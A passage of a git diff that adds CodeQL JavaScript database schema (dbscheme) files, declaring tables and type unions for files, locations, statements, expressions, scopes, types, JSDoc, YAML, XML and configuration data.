+json_literals (varchar(900) value: string ref,
+      varchar(900) raw: string ref,
+      unique int expr: @json_value ref);
+
+json_properties (int obj: @json_object ref,
+      varchar(900) property: string ref,
+      int value: @json_value ref);
+
+json_errors (unique int id: @json_parse_error,
+      varchar(900) message: string ref);
+
+json_locations(unique int locatable: @json_locatable ref,
+      int location: @location_default ref);
+
+case @json_value.kind of
+  0 = @json_null
+| 1 = @json_boolean
+| 2 = @json_number
+| 3 = @json_string
+| 4 = @json_array
+| 5 = @json_object;
+
+@json_parent = @json_object | @json_array | @file;
+
+@json_locatable = @json_value | @json_parse_error;
+
+// locations
+@ast_node = @toplevel | @stmt | @expr | @property | @typeexpr;
+
+@locatable = @file
+    | @ast_node
+    | @comment
+    | @line
+    | @js_parse_error | @regexp_parse_error
+    | @regexpterm
+    | @json_locatable
+    | @token
+    | @cfg_node
+    | @jsdoc | @jsdoc_type_expr | @jsdoc_tag
+    | @yaml_locatable
+    | @xmllocatable
+    | @configLocatable
+    | @template_placeholder_tag;
+
+hasLocation (unique int locatable: @locatable ref,
+    int location: @location ref);
+
+// CFG
+entry_cfg_node (unique int id: @entry_node, int container: @stmt_container ref);
+exit_cfg_node (unique int id: @exit_node, int container: @stmt_container ref);
+guard_node (unique int id: @guard_node, int kind: int ref, int test: @expr ref);
+case @guard_node.kind of
+  0 = @falsy_guard
+| 1 = @truthy_guard;
+@condition_guard = @falsy_guard | @truthy_guard;
+
+@synthetic_cfg_node = @entry_node | @exit_node | @guard_node;
+@cfg_node = @synthetic_cfg_node | @expr_parent;
+
+successor (int pred: @cfg_node ref, int succ: @cfg_node ref);
+
+// JSDoc comments
+jsdoc (unique int id: @jsdoc, varchar(900) description: string ref, int comment: @comment ref);
+#keyset[parent, idx]
+jsdoc_tags (unique int id: @jsdoc_tag, varchar(900) title: string ref,
+            int parent: @jsdoc ref, int idx: int ref, varchar(900) tostring: string ref);
+jsdoc_tag_descriptions (unique int tag: @jsdoc_tag ref, varchar(900) text: string ref);
+jsdoc_tag_names (unique int tag: @jsdoc_tag ref, varchar(900) text: string ref);
+
+#keyset[parent, idx]
+jsdoc_type_exprs (unique int id: @jsdoc_type_expr,
+                  int kind: int ref,
+                  int parent: @jsdoc_type_expr_parent ref,
+                  int idx: int ref,
+                  varchar(900) tostring: string ref);
+case @jsdoc_type_expr.kind of
+    0 = @jsdoc_any_type_expr
+|   1 = @jsdoc_null_type_expr
+|   2 = @jsdoc_undefined_type_expr
+|   3 = @jsdoc_unknown_type_expr
+|   4 = @jsdoc_void_type_expr
+|   5 = @jsdoc_named_type_expr
+|   6 = @jsdoc_applied_type_expr
+|   7 = @jsdoc_nullable_type_expr
+|   8 = @jsdoc_non_nullable_type_expr
+|   9 = @jsdoc_record_type_expr
+|  10 = @jsdoc_array_type_expr
+|  11 = @jsdoc_union_type_expr
+|  12 = @jsdoc_function_type_expr
+|  13 = @jsdoc_optional_type_expr
+|  14 = @jsdoc_rest_type_expr
+;
+
+#keyset[id, idx]
+jsdoc_record_field_name (int id: @jsdoc_record_type_expr ref, int idx: int ref, varchar(900) name: string ref);
+jsdoc_prefix_qualifier (int id: @jsdoc_type_expr ref);
+jsdoc_has_new_parameter (int fn: @jsdoc_function_type_expr ref);
+
+@jsdoc_type_expr_parent = @jsdoc_type_expr | @jsdoc_tag;
+
+jsdoc_errors (unique int id: @jsdoc_error, int tag: @jsdoc_tag ref, varchar(900) message: string ref, varchar(900) tostring: string ref);
+
+@dataflownode = @expr | @function_decl_stmt | @class_decl_stmt | @namespace_declaration | @enum_declaration | @property;
+
+@optionalchainable = @call_expr | @propaccess;
+
+isOptionalChaining(int id: @optionalchainable ref);
+
+/**
+ * The time taken for the extraction of a file.
+ * This table contains non-deterministic content.
+ *
+ * The sum of the `time` column for each (`file`, `timerKind`) pair
+ * is the total time taken for extraction of `file`.  The `extractionPhase`
+ * column provides a granular view of the extraction time of the file.
+ */
+extraction_time(
+  int file : @file ref,
+  // see `com.semmle.js.extractor.ExtractionMetrics.ExtractionPhase`.
+  int extractionPhase: int ref,
+  // 0 for the elapsed CPU time in nanoseconds, 1 for the elapsed wallclock time in nanoseconds
+  int timerKind: int ref,
+  float time: float ref
+)
+
+/**
+* Non-timing related data for the extraction of a single file.
+* This table contains non-deterministic content.
+*/
+extraction_data(
+  int file : @file ref,
+  // the absolute path to the cache file
+  varchar(900) cacheFile: string ref,
+  boolean fromCache: boolean ref,
+  int length: int ref
+)
+
+/*- YAML -*/
+
+#keyset[parent, idx]
+yaml (unique int id: @yaml_node,
+      int kind: int ref,
+      int parent: @yaml_node_parent ref,
+      int idx: int ref,
+      string tag: string ref,
+      string tostring: string ref);
+
+case @yaml_node.kind of
+  0 = @yaml_scalar_node
+| 1 = @yaml_mapping_node
+| 2 = @yaml_sequence_node
+| 3 = @yaml_alias_node
+;
+
+@yaml_collection_node = @yaml_mapping_node | @yaml_sequence_node;
+
+@yaml_node_parent = @yaml_collection_node | @file;
+
+yaml_anchors (unique int node: @yaml_node ref,
+              string anchor: string ref);
+
+yaml_aliases (unique int alias: @yaml_alias_node ref,
+              string target: string ref);
+
+yaml_scalars (unique int scalar: @yaml_scalar_node ref,
+              int style: int ref,
+              string value: string ref);
+
+yaml_errors (unique int id: @yaml_error,
+             string message: string ref);
+
+yaml_locations(unique int locatable: @yaml_locatable ref,
+             int location: @location_default ref);
+
+@yaml_locatable = @yaml_node | @yaml_error;
+
+/*- XML Files -*/
+
+xmlEncoding(
+  unique int id: @file ref,
+  string encoding: string ref
+);
+
+xmlDTDs(
+  unique int id: @xmldtd,
+  string root: string ref,
+  string publicId: string ref,
+  string systemId: string ref,
+  int fileid: @file ref
+);
+
+xmlElements(
+  unique int id: @xmlelement,
+  string name: string ref,
+  int parentid: @xmlparent ref,
+  int idx: int ref,
+  int fileid: @file ref
+);
+
+xmlAttrs(
+  unique int id: @xmlattribute,
+  int elementid: @xmlelement ref,
+  string name: string ref,
+  string value: string ref,
+  int idx: int ref,
+  int fileid: @file ref
+);
+
+xmlNs(
+  int id: @xmlnamespace,
+  string prefixName: string ref,
+  string URI: string ref,
+  int fileid: @file ref
+);
+
+xmlHasNs(
+  int elementId: @xmlnamespaceable ref,
+  int nsId: @xmlnamespace ref,
+  int fileid: @file ref
+);
+
+xmlComments(
+  unique int id: @xmlcomment,
+  string text: string ref,
+  int parentid: @xmlparent ref,
+  int fileid: @file ref
+);
+
+xmlChars(
+  unique int id: @xmlcharacters,
+  string text: string ref,
+  int parentid: @xmlparent ref,
+  int idx: int ref,
+  int isCDATA: int ref,
+  int fileid: @file ref
+);
+
+@xmlparent = @file | @xmlelement;
+@xmlnamespaceable = @xmlelement | @xmlattribute;
+
+xmllocations(
+  int xmlElement: @xmllocatable ref,
+  int location: @location_default ref
+);
+
+@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace;
+
+/*- Configuration files with key value pairs -*/
+
+configs(
+  unique int id: @config
+);
+
+configNames(
+  unique int id: @configName,
+  int config: @config ref,
+  string name: string ref
+);
+
+configValues(
+  unique int id: @configValue,
+  int config: @config ref,
+  string value: string ref
+);
+
+configLocations(
+  int locatable: @configLocatable ref,
+  int location: @location_default ref
+);
+
+@configLocatable = @config | @configName | @configValue;
diff --git a/javascript/downgrades/5b5db607d20c7b449cef2d1c926b24d77c69bebb/semmlecode.javascript.dbscheme b/javascript/downgrades/5b5db607d20c7b449cef2d1c926b24d77c69bebb/semmlecode.javascript.dbscheme
new file mode 100644
index 000000000000..c88c69174bd0
--- /dev/null
+++ b/javascript/downgrades/5b5db607d20c7b449cef2d1c926b24d77c69bebb/semmlecode.javascript.dbscheme
@@ -0,0 +1,1190 @@
+/*** Standard fragments ***/
+
+/*- Files and folders -*/
+
+/**
+ * The location of an element.
+ * The location spans column `startcolumn` of line `startline` to
+ * column `endcolumn` of line `endline` in file `file`.
+ * For more information, see
+ * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/).
+ */
+locations_default(
+  unique int id: @location_default,
+  int file: @file ref,
+  int beginLine: int ref,
+  int beginColumn: int ref,
+  int endLine: int ref,
+  int endColumn: int ref
+);
+
+files(
+  unique int id: @file,
+  string name: string ref
+);
+
+folders(
+  unique int id: @folder,
+  string name: string ref
+);
+
+@container = @file | @folder
+
+containerparent(
+  int parent: @container ref,
+  unique int child: @container ref
+);
+
+/*- Lines of code -*/
+
+numlines(
+  int element_id: @sourceline ref,
+  int num_lines: int ref,
+  int num_code: int ref,
+  int num_comment: int ref
+);
+
+/*- External data -*/
+
+/**
+ * External data, loaded from CSV files during snapshot creation. See
+ * [Tutorial: Incorporating external data](https://help.semmle.com/wiki/display/SD/Tutorial%3A+Incorporating+external+data)
+ * for more information.
+ */
+externalData(
+  int id : @externalDataElement,
+  string path : string ref,
+  int column: int ref,
+  string value : string ref
+);
+
+/*- Source location prefix -*/
+
+/**
+ * The source location of the snapshot.
+ */
+sourceLocationPrefix(string prefix : string ref);
+
+/*- JavaScript-specific part -*/
+
+@location = @location_default
+
+@sourceline = @locatable;
+
+filetype(
+  int file: @file ref,
+  string filetype: string ref
+)
+
+// top-level code fragments
+toplevels (unique int id: @toplevel,
+           int kind: int ref);
+
+is_externs (int toplevel: @toplevel ref);
+
+case @toplevel.kind of
+   0 = @script
+|  1 = @inline_script
+|  2 = @event_handler
+|  3 = @javascript_url
+|  4 = @template_toplevel;
+
+is_module (int tl: @toplevel ref);
+is_nodejs (int tl: @toplevel ref);
+is_es2015_module (int tl: @toplevel ref);
+is_closure_module (int tl: @toplevel ref);
+
+@xml_node_with_code = @xmlelement | @xmlattribute | @template_placeholder_tag;
+toplevel_parent_xml_node(
+  unique int toplevel: @toplevel ref,
+  int xmlnode: @xml_node_with_code ref);
+
+xml_element_parent_expression(
+  unique int xmlnode: @xmlelement ref,
+  int expression: @expr ref,
+  int index: int ref);
+
+// statements
+#keyset[parent, idx]
+stmts (unique int id: @stmt,
+       int kind: int ref,
+       int parent: @stmt_parent ref,
+       int idx: int ref,
+       varchar(900) tostring: string ref);
+
+stmt_containers (unique int stmt: @stmt ref,
+       int container: @stmt_container ref);
+
+jump_targets (unique int jump: @stmt ref,
+       int target: @stmt ref);
+
+@stmt_parent = @stmt | @toplevel | @function_expr | @arrow_function_expr | @static_initializer;
+@stmt_container = @toplevel | @function | @namespace_declaration | @external_module_declaration | @global_augmentation_declaration;
+
+case @stmt.kind of
+   0 = @empty_stmt
+|  1 = @block_stmt
+|  2 = @expr_stmt
+|  3 = @if_stmt
+|  4 = @labeled_stmt
+|  5 = @break_stmt
+|  6 = @continue_stmt
+|  7 = @with_stmt
+|  8 = @switch_stmt
+|  9 = @return_stmt
+| 10 = @throw_stmt
+| 11 = @try_stmt
+| 12 = @while_stmt
+| 13 = @do_while_stmt
+| 14 = @for_stmt
+| 15 = @for_in_stmt
+| 16 = @debugger_stmt
+| 17 = @function_decl_stmt
+| 18 = @var_decl_stmt
+| 19 = @case
+| 20 = @catch_clause
+| 21 = @for_of_stmt
+| 22 = @const_decl_stmt
+| 23 = @let_stmt
+| 24 = @legacy_let_stmt
+| 25 = @for_each_stmt
+| 26 = @class_decl_stmt
+| 27 = @import_declaration
+| 28 = @export_all_declaration
+| 29 = @export_default_declaration
+| 30 = @export_named_declaration
+| 31 = @namespace_declaration
+| 32 = @import_equals_declaration
+| 33 = @export_assign_declaration
+| 34 = @interface_declaration
+| 35 = @type_alias_declaration
+| 36 = @enum_declaration
+| 37 = @external_module_declaration
+| 38 = @export_as_namespace_declaration
+| 39 = @global_augmentation_declaration
+| 40 = @using_decl_stmt
+;
+
+@decl_stmt = @var_decl_stmt | @const_decl_stmt | @let_stmt | @legacy_let_stmt | @using_decl_stmt;
+
+@export_declaration = @export_all_declaration | @export_default_declaration | @export_named_declaration;
+
+@namespace_definition = @namespace_declaration | @enum_declaration;
+@type_definition = @class_definition | @interface_declaration | @enum_declaration | @type_alias_declaration | @enum_member;
+
+is_instantiated(unique int decl: @namespace_declaration ref);
+
+@declarable_node = @decl_stmt | @namespace_declaration | @class_decl_stmt | @function_decl_stmt | @enum_declaration | @external_module_declaration | @global_augmentation_declaration | @field;
+has_declare_keyword(unique int stmt: @declarable_node ref);
+
+is_for_await_of(unique int forof: @for_of_stmt ref);
+
+// expressions
+#keyset[parent, idx]
+exprs (unique int id: @expr,
+       int kind: int ref,
+       int parent: @expr_parent ref,
+       int idx: int ref,
+       varchar(900) tostring: string ref);
+
+literals (varchar(900) value: string ref,
+       varchar(900) raw: string ref,
+       unique int expr: @expr_or_type ref);
+
+enclosing_stmt (unique int expr: @expr_or_type ref,
+       int stmt: @stmt ref);
+
+expr_containers (unique int expr: @expr_or_type ref,
+       int container: @stmt_container ref);
+
+array_size (unique int ae: @arraylike ref,
+       int sz: int ref);
+
+is_delegating (int yield: @yield_expr ref);
+
+@expr_or_stmt = @expr | @stmt;
+@expr_or_type = @expr | @typeexpr;
+@expr_parent = @expr_or_stmt | @property | @function_typeexpr;
+@arraylike = @array_expr | @array_pattern;
+@type_annotation = @typeexpr | @jsdoc_type_expr;
+@node_in_stmt_container = @cfg_node | @type_annotation | @toplevel;
+
+case @expr.kind of
+   0 = @label
+|  1 = @null_literal
+|  2 = @boolean_literal
+|  3 = @number_literal
+|  4 = @string_literal
+|  5 = @regexp_literal
+|  6 = @this_expr
+|  7 = @array_expr
+|  8 = @obj_expr
+|  9 = @function_expr
+| 10 = @seq_expr
+| 11 = @conditional_expr
+| 12 = @new_expr
+| 13 = @call_expr
+| 14 = @dot_expr
+| 15 = @index_expr
+| 16 = @neg_expr
+| 17 = @plus_expr
+| 18 = @log_not_expr
+| 19 = @bit_not_expr
+| 20 = @typeof_expr
+| 21 = @void_expr
+| 22 = @delete_expr
+| 23 = @eq_expr
+| 24 = @neq_expr
+| 25 = @eqq_expr
+| 26 = @neqq_expr
+| 27 = @lt_expr
+| 28 = @le_expr
+| 29 = @gt_expr
+| 30 = @ge_expr
+| 31 = @lshift_expr
+| 32 = @rshift_expr
+| 33 = @urshift_expr
+| 34 = @add_expr
+| 35 = @sub_expr
+| 36 = @mul_expr
+| 37 = @div_expr
+| 38 = @mod_expr
+| 39 = @bitor_expr
+| 40 = @xor_expr
+| 41 = @bitand_expr
+| 42 = @in_expr
+| 43 = @instanceof_expr
+| 44 = @logand_expr
+| 45 = @logor_expr
+| 47 = @assign_expr
+| 48 = @assign_add_expr
+| 49 = @assign_sub_expr
+| 50 = @assign_mul_expr
+| 51 = @assign_div_expr
+| 52 = @assign_mod_expr
+| 53 = @assign_lshift_expr
+| 54 = @assign_rshift_expr
+| 55 = @assign_urshift_expr
+| 56 = @assign_or_expr
+| 57 = @assign_xor_expr
+| 58 = @assign_and_expr
+| 59 = @preinc_expr
+| 60 = @postinc_expr
+| 61 = @predec_expr
+| 62 = @postdec_expr
+| 63 = @par_expr
+| 64 = @var_declarator
+| 65 = @arrow_function_expr
+| 66 = @spread_element
+| 67 = @array_pattern
+| 68 = @object_pattern
+| 69 = @yield_expr
+| 70 = @tagged_template_expr
+| 71 = @template_literal
+| 72 = @template_element
+| 73 = @array_comprehension_expr
+| 74 = @generator_expr
+| 75 = @for_in_comprehension_block
+| 76 = @for_of_comprehension_block
+| 77 = @legacy_letexpr
+| 78 = @var_decl
+| 79 = @proper_varaccess
+| 80 = @class_expr
+| 81 = @super_expr
+| 82 = @newtarget_expr
+| 83 = @named_import_specifier
+| 84 = @import_default_specifier
+| 85 = @import_namespace_specifier
+| 86 = @named_export_specifier
+| 87 = @exp_expr
+| 88 = @assign_exp_expr
+| 89 = @jsx_element
+| 90 = @jsx_qualified_name
+| 91 = @jsx_empty_expr
+| 92 = @await_expr
+| 93 = @function_sent_expr
+| 94 = @decorator
+| 95 = @export_default_specifier
+| 96 = @export_namespace_specifier
+| 97 = @bind_expr
+| 98 = @external_module_reference
+| 99 = @dynamic_import
+| 100 = @expression_with_type_arguments
+| 101 = @prefix_type_assertion
+| 102 = @as_type_assertion
+| 103 = @export_varaccess
+| 104 = @decorator_list
+| 105 = @non_null_assertion
+| 106 = @bigint_literal
+| 107 = @nullishcoalescing_expr
+| 108 = @e4x_xml_anyname
+| 109 = @e4x_xml_static_attribute_selector
+| 110 = @e4x_xml_dynamic_attribute_selector
+| 111 = @e4x_xml_filter_expression
+| 112 = @e4x_xml_static_qualident
+| 113 = @e4x_xml_dynamic_qualident
+| 114 = @e4x_xml_dotdotexpr
+| 115 = @import_meta_expr
+| 116 = @assignlogandexpr
+| 117 = @assignlogorexpr
+| 118 = @assignnullishcoalescingexpr
+| 119 = @template_pipe_ref
+| 120 = @generated_code_expr
+| 121 = @satisfies_expr
+;
+
+@varaccess = @proper_varaccess | @export_varaccess;
+@varref = @var_decl | @varaccess;
+
+@identifier = @label | @varref | @type_identifier;
+
+@literal = @null_literal | @boolean_literal | @number_literal | @string_literal | @regexp_literal | @bigint_literal;
+
+@propaccess = @dot_expr | @index_expr;
+
+@invokeexpr = @new_expr | @call_expr;
+
+@unaryexpr = @neg_expr | @plus_expr | @log_not_expr | @bit_not_expr | @typeof_expr | @void_expr | @delete_expr | @spread_element;
+
+@equality_test = @eq_expr | @neq_expr | @eqq_expr | @neqq_expr;
+
+@comparison = @equality_test | @lt_expr | @le_expr | @gt_expr | @ge_expr;
+
+@binaryexpr = @comparison | @lshift_expr | @rshift_expr | @urshift_expr | @add_expr | @sub_expr | @mul_expr | @div_expr | @mod_expr | @exp_expr | @bitor_expr | @xor_expr | @bitand_expr | @in_expr | @instanceof_expr | @logand_expr | @logor_expr | @nullishcoalescing_expr;
+
+@assignment = @assign_expr | @assign_add_expr | @assign_sub_expr | @assign_mul_expr | @assign_div_expr | @assign_mod_expr | @assign_exp_expr | @assign_lshift_expr | @assign_rshift_expr | @assign_urshift_expr | @assign_or_expr | @assign_xor_expr | @assign_and_expr | @assignlogandexpr | @assignlogorexpr | @assignnullishcoalescingexpr;
+
+@updateexpr = @preinc_expr | @postinc_expr | @predec_expr | @postdec_expr;
+
+@pattern = @varref | @array_pattern | @object_pattern;
+
+@comprehension_expr = @array_comprehension_expr | @generator_expr;
+
+@comprehension_block = @for_in_comprehension_block | @for_of_comprehension_block;
+
+@import_specifier = @named_import_specifier | @import_default_specifier | @import_namespace_specifier;
+
+@exportspecifier = @named_export_specifier | @export_default_specifier | @export_namespace_specifier;
+
+@type_keyword_operand = @import_declaration | @export_declaration | @import_specifier;
+
+@type_assertion = @as_type_assertion | @prefix_type_assertion;
+
+@class_definition = @class_decl_stmt | @class_expr;
+@interface_definition = @interface_declaration | @interface_typeexpr;
+@class_or_interface = @class_definition | @interface_definition;
+
+@lexical_decl = @var_decl | @type_decl;
+@lexical_access = @varaccess | @local_type_access | @local_var_type_access | @local_namespace_access;
+@lexical_ref = @lexical_decl | @lexical_access;
+
+@e4x_xml_attribute_selector = @e4x_xml_static_attribute_selector | @e4x_xml_dynamic_attribute_selector;
+@e4x_xml_qualident = @e4x_xml_static_qualident | @e4x_xml_dynamic_qualident;
+
+expr_contains_template_tag_location(
+  int expr: @expr ref,
+  int location: @location ref
+);
+
+@template_placeholder_tag_parent = @xmlelement | @xmlattribute | @file;
+
+template_placeholder_tag_info(
+  unique int node: @template_placeholder_tag,
+  int parentNode: @template_placeholder_tag_parent ref,
+  varchar(900) raw: string ref
+);
+
+// scopes
+scopes (unique int id: @scope,
+        int kind: int ref);
+
+case @scope.kind of
+   0 = @global_scope
+|  1 = @function_scope
+|  2 = @catch_scope
+|  3 = @module_scope
+|  4 = @block_scope
+|  5 = @for_scope
+|  6 = @for_in_scope // for-of scopes work the same as for-in scopes
+|  7 = @comprehension_block_scope
+|  8 = @class_expr_scope
+|  9 = @namespace_scope
+| 10 = @class_decl_scope
+| 11 = @interface_scope
+| 12 = @type_alias_scope
+| 13 = @mapped_type_scope
+| 14 = @enum_scope
+| 15 = @external_module_scope
+| 16 = @conditional_type_scope;
+
+scopenodes (unique int node: @ast_node ref,
+            int scope: @scope ref);
+
+scopenesting (unique int inner: @scope ref,
+              int outer: @scope ref);
+
+// functions
+@function = @function_decl_stmt | @function_expr | @arrow_function_expr;
+
+@parameterized = @function | @catch_clause;
+@type_parameterized = @function | @class_or_interface | @type_alias_declaration | @mapped_typeexpr | @infer_typeexpr;
+
+is_generator (int fun: @function ref);
+has_rest_parameter (int fun: @function ref);
+is_async (int fun: @function ref);
+
+// variables and lexically scoped type names
+#keyset[scope, name]
+variables (unique int id: @variable,
+           varchar(900) name: string ref,
+           int scope: @scope ref);
+
+#keyset[scope, name]
+local_type_names (unique int id: @local_type_name,
+                  varchar(900) name: string ref,
+                  int scope: @scope ref);
+
+#keyset[scope, name]
+local_namespace_names (unique int id: @local_namespace_name,
+                       varchar(900) name: string ref,
+                       int scope: @scope ref);
+
+is_arguments_object (int id: @variable ref);
+
+@lexical_name = @variable | @local_type_name | @local_namespace_name;
+
+@bind_id = @varaccess | @local_var_type_access;
+bind (unique int id: @bind_id ref,
+      int decl: @variable ref);
+
+decl (unique int id: @var_decl ref,
+      int decl: @variable ref);
+
+@typebind_id = @local_type_access | @export_varaccess;
+typebind (unique int id: @typebind_id ref,
+          int decl: @local_type_name ref);
+
+@typedecl_id = @type_decl | @var_decl;
+typedecl (unique int id: @typedecl_id ref,
+          int decl: @local_type_name ref);
+
+namespacedecl (unique int id: @var_decl ref,
+               int decl: @local_namespace_name ref);
+
+@namespacebind_id = @local_namespace_access | @export_varaccess;
+namespacebind (unique int id: @namespacebind_id ref,
+               int decl: @local_namespace_name ref);
+
+
+// properties in object literals, property patterns in object patterns, and method declarations in classes
+#keyset[parent, index]
+properties (unique int id: @property,
+            int parent: @property_parent ref,
+            int index: int ref,
+            int kind: int ref,
+            varchar(900) tostring: string ref);
+
+case @property.kind of
+  0 = @value_property
+| 1 = @property_getter
+| 2 = @property_setter
+| 3 = @jsx_attribute
+| 4 = @function_call_signature
+| 5 = @constructor_call_signature
+| 6 = @index_signature
+| 7 = @enum_member
+| 8 = @proper_field
+| 9 = @parameter_field
+| 10 = @static_initializer
+;
+
+@property_parent = @obj_expr | @object_pattern | @class_definition | @jsx_element | @interface_definition | @enum_declaration;
+@property_accessor = @property_getter | @property_setter;
+@call_signature = @function_call_signature | @constructor_call_signature;
+@field = @proper_field | @parameter_field;
+@field_or_vardeclarator = @field | @var_declarator;
+
+is_computed (int id: @property ref);
+is_method   (int id: @property ref);
+is_static   (int id: @property ref);
+is_abstract_member (int id: @property ref);
+is_const_enum (int id: @enum_declaration ref);
+is_abstract_class (int id: @class_decl_stmt ref);
+
+has_public_keyword (int id: @property ref);
+has_private_keyword (int id: @property ref);
+has_protected_keyword (int id: @property ref);
+has_readonly_keyword (int id: @property ref);
+has_type_keyword (int id: @type_keyword_operand ref);
+is_optional_member (int id: @property ref);
+has_definite_assignment_assertion (int id: @field_or_vardeclarator ref);
+is_optional_parameter_declaration (unique int parameter: @pattern ref);
+
+#keyset[constructor, param_index]
+parameter_fields(
+  unique int field: @parameter_field ref,
+  int constructor: @function_expr ref,
+  int param_index: int ref
+);
+
+// types
+#keyset[parent, idx]
+typeexprs (
+  unique int id: @typeexpr,
+  int kind: int ref,
+  int parent: @typeexpr_parent ref,
+  int idx: int ref,
+  varchar(900) tostring: string ref
+);
+
+case @typeexpr.kind of
+  0 = @local_type_access
+| 1 = @type_decl
+| 2 = @keyword_typeexpr
+| 3 = @string_literal_typeexpr
+| 4 = @number_literal_typeexpr
+| 5 = @boolean_literal_typeexpr
+| 6 = @array_typeexpr
+| 7 = @union_typeexpr
+| 8 = @indexed_access_typeexpr
+| 9 = @intersection_typeexpr
+| 10 = @parenthesized_typeexpr
+| 11 = @tuple_typeexpr
+| 12 = @keyof_typeexpr
+| 13 = @qualified_type_access
+| 14 = @generic_typeexpr
+| 15 = @type_label
+| 16 = @typeof_typeexpr
+| 17 = @local_var_type_access
+| 18 = @qualified_var_type_access
+| 19 = @this_var_type_access
+| 20 = @predicate_typeexpr
+| 21 = @interface_typeexpr
+| 22 = @type_parameter
+| 23 = @plain_function_typeexpr
+| 24 = @constructor_typeexpr
+| 25 = @local_namespace_access
+| 26 = @qualified_namespace_access
+| 27 = @mapped_typeexpr
+| 28 = @conditional_typeexpr
+| 29 = @infer_typeexpr
+| 30 = @import_type_access
+| 31 = @import_namespace_access
+| 32 = @import_var_type_access
+| 33 = @optional_typeexpr
+| 34 = @rest_typeexpr
+| 35 = @bigint_literal_typeexpr
+| 36 = @readonly_typeexpr
+| 37 = @template_literal_typeexpr
+;
+
+@typeref = @typeaccess | @type_decl;
+@type_identifier = @type_decl | @local_type_access | @type_label | @local_var_type_access | @local_namespace_access;
+@typeexpr_parent = @expr | @stmt | @property | @typeexpr;
+@literal_typeexpr = @string_literal_typeexpr | @number_literal_typeexpr | @boolean_literal_typeexpr | @bigint_literal_typeexpr;
+@typeaccess = @local_type_access | @qualified_type_access | @import_type_access;
+@vartypeaccess = @local_var_type_access | @qualified_var_type_access | @this_var_type_access | @import_var_type_access;
+@namespace_access = @local_namespace_access | @qualified_namespace_access | @import_namespace_access;
+@import_typeexpr = @import_type_access | @import_namespace_access | @import_var_type_access;
+
+@function_typeexpr = @plain_function_typeexpr | @constructor_typeexpr;
+
+// types
+types (
+  unique int id: @type,
+  int kind: int ref,
+  varchar(900) tostring: string ref
+);
+
+#keyset[parent, idx]
+type_child (
+  int child: @type ref,
+  int parent: @type ref,
+  int idx: int ref
+);
+
+case @type.kind of
+  0 = @any_type
+| 1 = @string_type
+| 2 = @number_type
+| 3 = @union_type
+| 4 = @true_type
+| 5 = @false_type
+| 6 = @type_reference
+| 7 = @object_type
+| 8 = @canonical_type_variable_type
+| 9 = @typeof_type
+| 10 = @void_type
+| 11 = @undefined_type
+| 12 = @null_type
+| 13 = @never_type
+| 14 = @plain_symbol_type
+| 15 = @unique_symbol_type
+| 16 = @objectkeyword_type
+| 17 = @intersection_type
+| 18 = @tuple_type
+| 19 = @lexical_type_variable_type
+| 20 = @this_type
+| 21 = @number_literal_type
+| 22 = @string_literal_type
+| 23 = @unknown_type
+| 24 = @bigint_type
+| 25 = @bigint_literal_type
+;
+
+@boolean_literal_type = @true_type | @false_type;
+@symbol_type = @plain_symbol_type | @unique_symbol_type;
+@union_or_intersection_type = @union_type | @intersection_type;
+@typevariable_type = @canonical_type_variable_type | @lexical_type_variable_type;
+
+has_asserts_keyword(int node: @predicate_typeexpr ref);
+
+@typed_ast_node = @expr | @typeexpr | @function;
+ast_node_type(
+  unique int node: @typed_ast_node ref,
+  int typ: @type ref);
+
+declared_function_signature(
+  unique int node: @function ref,
+  int sig: @signature_type ref
+);
+
+invoke_expr_signature(
+  unique int node: @invokeexpr ref,
+  int sig: @signature_type ref
+);
+
+invoke_expr_overload_index(
+  unique int node: @invokeexpr ref,
+  int index: int ref
+);
+
+symbols (
+  unique int id: @symbol,
+  int kind: int ref,
+  varchar(900) name: string ref
+);
+
+symbol_parent (
+  unique int symbol: @symbol ref,
+  int parent: @symbol ref
+);
+
+symbol_module (
+  int symbol: @symbol ref,
+  varchar(900) moduleName: string ref
+);
+
+symbol_global (
+  int symbol: @symbol ref,
+  varchar(900) globalName: string ref
+);
+
+case @symbol.kind of
+  0 = @root_symbol
+| 1 = @member_symbol
+| 2 = @other_symbol
+;
+
+@type_with_symbol = @type_reference | @typevariable_type | @typeof_type | @unique_symbol_type;
+@ast_node_with_symbol = @type_definition | @namespace_definition | @toplevel | @typeaccess | @namespace_access | @var_decl | @function | @invokeexpr | @import_declaration | @external_module_reference | @external_module_declaration;
+
+ast_node_symbol(
+  unique int node: @ast_node_with_symbol ref,
+  int symbol: @symbol ref);
+
+type_symbol(
+  unique int typ: @type_with_symbol ref,
+  int symbol: @symbol ref);
+
+#keyset[typ, name]
+type_property(
+  int typ: @type ref,
+  varchar(900) name: string ref,
+  int propertyType: @type ref);
+
+type_alias(
+  unique int aliasType: @type ref,
+  int underlyingType: @type ref);
+
+@literal_type = @string_literal_type | @number_literal_type | @boolean_literal_type | @bigint_literal_type;
+@type_with_literal_value = @string_literal_type | @number_literal_type | @bigint_literal_type;
+type_literal_value(
+  unique int typ: @type_with_literal_value ref,
+  varchar(900) value: string ref);
+
+signature_types (
+  unique int id: @signature_type,
+  int kind: int ref,
+  varchar(900) tostring: string ref,
+  int type_parameters: int ref,
+  int required_params: int ref
+);
+
+is_abstract_signature(
+  unique int sig: @signature_type ref
+);
+
+signature_rest_parameter(
+  unique int sig: @signature_type ref,
+  int rest_param_arra_type: @type ref
+);
+
+case @signature_type.kind of
+  0 = @function_signature_type
+| 1 = @constructor_signature_type
+;
+
+#keyset[typ, kind, index]
+type_contains_signature (
+  int typ: @type ref,
+  int kind: int ref,  // constructor/call/index
+  int index: int ref, // ordering of overloaded signatures
+  int sig: @signature_type ref
+);
+
+#keyset[parent, index]
+signature_contains_type (
+  int child: @type ref,
+  int parent: @signature_type ref,
+  int index: int ref
+);
+
+#keyset[sig, index]
+signature_parameter_name (
+  int sig: @signature_type ref,
+  int index: int ref,
+  varchar(900) name: string ref
+);
+
+number_index_type (
+  unique int baseType: @type ref,
+  int propertyType: @type ref
+);
+
+string_index_type (
+  unique int baseType: @type ref,
+  int propertyType: @type ref
+);
+
+base_type_names(
+  int typeName: @symbol ref,
+  int baseTypeName: @symbol ref
+);
+
+self_types(
+  int typeName: @symbol ref,
+  int selfType: @type_reference ref
+);
+
+tuple_type_min_length(
+  unique int typ: @type ref,
+  int minLength: int ref
+);
+
+tuple_type_rest_index(
+  unique int typ: @type ref,
+  int index: int ref
+);
+
+// comments
+comments (unique int id: @comment,
+          int kind: int ref,
+          int toplevel: @toplevel ref,
+          varchar(900) text: string ref,
